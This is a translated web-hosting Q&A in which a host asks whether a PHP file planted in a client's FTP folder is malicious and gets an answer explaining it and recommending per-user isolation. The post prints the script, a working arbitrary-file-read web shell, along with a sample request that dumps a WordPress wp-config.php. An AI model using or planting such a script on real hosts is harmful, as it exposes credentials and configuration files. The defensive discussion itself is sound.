这个 php 代码是恶意代码吗?我该如何保护我的主机?

is this php code malicious and how can i protect my hosting?

我为客户托管一个网站,我们被要求为其他第三方网站商店的客户托管一些额外的图片。

所以我创建了一个辅助 FTP 帐户,其根设置为主机上的某个子文件夹。

客户让正在为这个外部网站构建布局的网页设计师将所有图像放入此 FTP space。

今天我注意到 error_log 中的一些警告通知,并注意到它来自 php 文件,该文件也在 FTP space.[=12 中=]

PHP 的内容是这样的:

<?php
ini_set('display_errors',1);
$file1=trim($_REQUEST['f1']);
$read1=file_get_contents($file1);
$read1 = rawurlencode($read1);
echo "document.write(unescape(\"$read1\"))";
?>

当我第一次阅读代码时,我无法弄清楚为什么它在 FTP space 中或它做了什么,但我开始通过向 f1 参数添加一些路径来玩弄看看返回了什么响应,我发现我可以输出我的 wordpress 安装 wp-config.php 文件,该文件从这个 FTP 的根文件夹返回一个文件夹。

例如通过 php 脚本通过 运行 此参数。它输出了我的配置内容: domain.com?f1=/mnt/storage/vhosts/domain.com/httpdocs/wordpress/wp-config.php

现在我只是想弄清楚这段代码是否出于恶意之外的任何其他原因被放置在 FTP 存储中?

在授予对主机上的子文件夹的 FTP 访问权限时,如何保护我的文件不被这样读取?

谢谢。

脚本打开在 GET 参数中传递的文件,读取它,URL 对其进行编码,然后将其发送到包裹在一些 JavaScript 中的浏览器,然后在客户端对其进行解码。

脚本几乎肯定是恶意编写的。虽然输出文件的内容可能有合法用途,但此处使用的(非常基本的)混淆技术将其推到了任何合理怀疑的边缘。

您的用户的 FTP root 可能受到保护,但您似乎没有为您的用户 运行 单独的 PHP 解释器。这意味着任何可以将代码写入其网站空间并通过 PHP 解释器执行代码的用户都可以 运行 编码为 PHP 解释器 运行 所在的任何用户。由于 PHP 必然需要读取 wordpress 配置,因此您几乎无法保护当前设置。

理想情况下,您希望将每个用户隔离在他们自己的 chroot 或 docker 实例中,并使用他们自己的 PHP 解释器。除此之外,您绝对不允许 FTP 访问或任何其他方法在您的系统上上传文件,因为安全模型根本无法承受这种级别的用户访问。